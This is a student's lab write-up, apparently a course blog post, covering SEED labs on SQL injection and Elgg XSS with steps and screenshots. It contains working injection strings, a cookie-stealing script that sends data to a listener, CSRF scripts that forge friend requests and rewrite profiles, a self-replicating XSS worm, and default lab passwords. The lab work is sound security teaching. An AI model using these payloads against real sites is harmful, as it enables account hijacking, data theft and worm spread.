20251913 2025-2026-2 《网络攻防实践》 第10次作业

1.实践内容

一、SEED SQL注入攻击与防御实验
本实验基于 www.SEEDLabSQLInjection.com 上的员工管理 Web 应用,该应用存在 SQL 注入漏洞,包含管理员和员工两种角色。数据库 Users 中的 credential 表存储了员工的 eid、密码、薪水、ssn 等信息。实验任务如下:

  1. 熟悉 SQL 语句 :通过命令行连接数据库,练习 SELECT 、 UPDATE 等基本 SQL 查询,了解 credential 表结构,为后续注入攻击做准备。

  2. SELECT 语句的 SQL 注入攻击 :在登录页面,利用用户名或密码输入框注入恶意 SQL 片段(如 admin'# 或 ' OR '1'='1' -- ),绕过密码验证,在不知道密码的情况下以管理员身份登录系统。

  3. UPDATE 语句的 SQL 注入攻击 :通过员工个人信息编辑界面,在更新字段中注入 SQL 语句(如修改薪水的 ', salary='999999 ),篡改数据库中本无权修改的数据。

  4. SQL 对抗防御 :使用预处理语句(Prepared Statement)和参数化查询重构数据库交互代码,对输入进行严格的过滤与转义,从根本上杜绝 SQL 注入漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)
本实验在预装 Elgg 社交平台的 Ubuntu VM 中进行,利用 XSS 漏洞实现攻击传播。

  1. 恶意消息与弹窗 :在个人资料中嵌入 JavaScript 代码 ,当其他用户访问该页面时触发弹窗,验证 XSS 漏洞存在。

  2. 弹窗显示 Cookie 信息 :将弹窗内容改为 document.cookie ,直接查看当前用户的 Cookie 值。

  3. 窃取受害者 Cookies :构造 JavaScript 将 document.cookie 通过 HTTP 请求(如 new Image().src 方式)发送到攻击者监听服务器,实现 Cookie 窃取。

  4. 成为受害者的朋友 :分析 Elgg 添加好友的 HTTP 请求过程,在恶意脚本中伪造 POST 请求发送好友添加请求,使受害者访问页面后自动添加攻击者为好友。

  5. 修改受害者资料 :构造 CSRF 攻击,通过 JavaScript 自动提交修改个人资料的表单,在受害者不知情的情况下篡改其个人信息。

  6. 编写 XSS 蠕虫 :在恶意脚本中加入自我复制逻辑——修改受害者个人资料时同时嵌入自身代码,使每个访问被感染页面的用户都成为新的传播源,实现蠕虫式扩散。

  7. XSS 对抗防御 :使用 htmlspecialchars() 对用户输入进行 HTML 实体编码,启用 Content-Security-Policy(CSP)策略限制内联脚本执行,从根本上阻断 XSS 攻击。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

2.1.1安装虚拟机

  • 下载最新版本的SEEDUbuntu https://seed.nyc3.cdn.digitaloceanspaces.com/SEEDUbuntu-16.04-32bit.zip
    打开VMware,点击新建虚拟机。前几步直接点默认的,直到如图所示这一步使用现有的虚拟磁盘
    image
    选择下载好的SEEDUbuntu-16.04-32bit.vmdk
    image
    虚拟机创建完毕
    image
  • 配置虚拟机的虚拟化引擎、监视器、网络适配器
    image
    image
    image
  • 打开虚拟机,修改主机名
    在终端输入命令hostname 20251913zc
    image

2.1.2熟悉SQL语句

输入命令mysql -u root -p登录数据库,密码为seedubuntu
image
输入命令show databases;查看mysql的数据库
image
输入use Usersshow tables;查看Users的数据库和表格
image
输入命令select * from credential;,查看credential中的所有条目
image
image
输入命令select * from credential where Name = 'Alice';, 查询Name为Alice的相关记录
image

2.1.3 对SELECT语句的SQL注入攻击

进入网页:www.SEEDLabSQLInjection.com
image
右击选择view page source查看网页源码
image
发现用的是get方式访问unsafe home.php
image
输入/var/www/SQLInjection/unsafe_home.php查看相关源码
image
分析这一段的代码
image
image
image
image
image
分析可知攻击者通过输入 Admin'#,利用SQL注入将密码检查部分注释掉,从而绕过密码验证,直接以管理员身份登录系统。
因此,我们可以构造Admin'#,密码任意输入,即可在不知道密码的情况下以 Admin 身份登录。
这里我们输入用户名Admin'#,密码123456
image
成功登录
image

2.1.4 对UPDATE语句的SQL注入攻击

查看 Edit_Profile 页面的源代码
image
可看到是使用get请求访问unsafe_edit_backend.php
image
输入/var/www/SQLInjection/unsafe_edit_backend.php查看相关源码
image
image
根据我们之前查到的信息,直接输入Boby'#,查询Boby的信息
image
image
构造 $input_nickname 的值来进行SQL注入攻击.登录成功进入后点击Edit Profile进行修改,输入', salary='20251913' where Name='Boby';#把Boby的Salary修改为20251913,修改好后点击Save,可以看到已经修改完成了
image

2.1.5 SQL对抗

修改unsafe_home.php中的语句
$sql = $conn->prepare("SELECT id, name, eid, salary,birth, ssn, phoneNumber,address,email,nickname,Password From credential WHERE name= ? and Password=?;");
$sql->bind_param("ss",$input_uname,$hashed_pwd);
image
image

2.2 SEED XSS跨站脚本攻击实验(Elgg)

2.2.1 发布恶意消息,显示警报窗口

打开网站 http://www.xsslabelgg.com ,并用账号:alice和密码:seedalice登录
image
image
点击进入alice界面,选择edit profile,在brief description写入<script>alert("20251913");</script>,记得保存
image
看到弹窗说明用户输入的脚本被浏览器直接执行,网站存在XSS漏洞
image

2.2.2弹窗显示cookie信息

一样的操作,这次我们输入<script>alert(document.cookie);</script>
image
保存后弹出这样的消息,攻击者可以获取用户身份凭据
image

2.2.3 窃取受害者的cookies

输入指令nc -l 5555 -v,监听5555号端口
image
依旧在brief description写入<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>' );</script>
image
保存好,打开监听显示
image
窃听成功

2.2.4 成为受害者的朋友

访问boby主页,fn+f12打开网络监控,点击add friend,可以看到id,ts和token三个信息,其中,friend=45,45是boby的id;friend;__elgg_ts是时间戳;__elgg_token是令牌。
image
image
根据上述信息编写非法添加好友的代码,一定要点about me中的Edit HTML,才能够添加代码。

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&amp;__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&amp;__elgg_token=" + elgg.security.token.__elgg_token;

  	var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 
	Ajax = new XMLHttpRequest();
	Ajax.open("GET", sendurl, true);
	Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

image
看到Alice主页,Boby已经成为好友了
image

2.2.5 修改受害者的信息

在About Me中填写如下代码:

<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var content=token+ts+"name="+userName+"&description=<p>This have been cracked by zc.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	var aliceGuid=44;    
	if(elgg.session.user.guid!=aliceGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}
</script>

image

保存,登录Boby的账户,然后访问Alice主页,可以看到,Boby的主页被修改
image

2.2.6 编写XSS蠕虫

在Alice的About Me中填写如下代码
这段代码是一个典型的XSS蠕虫,它的作用是当已登录的普通用户访问到被植入这段脚本的页面时,蠕虫会自动复制并传播自身,同时修改受害者的个人资料。

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
 
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>zc20251913"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
 
        var aliceGuid=44;
 
        if(elgg.session.user.guid!=aliceGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

image
保存后,点击OK
image
登录boby账户并访问alice主页后,可以看到个人信息已经被强制修改
image

2.2.7 对抗XSS攻击

登录管理员账户,账号:admin,密码:seedelgg
image
打开网址www.xsslabelgg.com/admin,选择plugin,找到HTMLawed,把activate改为Deactivate:
image
image
再访问alice的主页发现攻击失败
image

3.学习中遇到的问题及解决

  • 问题1:编写的代码段无法复制到虚拟机里,下载VMware tools后完成。
  • 问题1解决方案:在主机(Windows)上下载:https://packages-prod.broadcom.com/tools/frozen/linux/linux.iso
    第一步:将 ISO 文件挂载到虚拟机
    在 VMware 主界面,选中您的 Ubuntu 虚拟机,点击 “编辑虚拟机设置”。
    在设置窗口中,选中 CD/DVD (SATA) 设备。
    在右侧选择 “使用 ISO 映像文件”,点击 “浏览”,选中您刚刚下载的 linux.iso。
    确保 “已连接” 和 “启动时连接” 这两个选项都打上勾,点击“确定”。

第二步:在 Ubuntu 中安装(无网络环境操作)
启动 Ubuntu 虚拟机。
按下 Ctrl + Alt + T 打开终端,按顺序执行以下命令:
在文件管理器里直接把那个 .tar.gz 文件拖拽到 Home 目录(左边栏的 Home),然后在终端执行:

cd ~
tar -xzvf VMwareTools-*.tar.gz
cd vmware-tools-distrib
sudo ./vmware-install.pl

第一个问题问是否继续,输入 yes 然后回车,之后所有问题直接按回车接受默认值,安装成功后,输入 sudo reboot 重启虚拟机。

4.实践总结

这次实验涵盖 SQL 注入和 XSS 跨站脚本两大 Web 安全核心领域,收获很大。SQL 注入部分从最基础的数据库查询开始,逐步深入到 SELECT 和 UPDATE 语句的注入攻击,最后用预处理语句进行修复。XSS 实验更有意思,从弹个 alert 到窃取 Cookie,再到自动加好友、改资料,一步步把浏览器的同源信任关系拆解得明明白白。写蠕虫脚本时,理解了为什么 XSS 常年位居 OWASP Top 10。实验做完,感觉防御措施并不复杂,预处理语句和输出编码就能解决大部分问题,关键在于开发时要有安全意识,把安全编码变成习惯而非事后补救。

posted @ 2026-06-01 13:57  山楂糖葫芦  阅读(25)  评论(0)    收藏  举报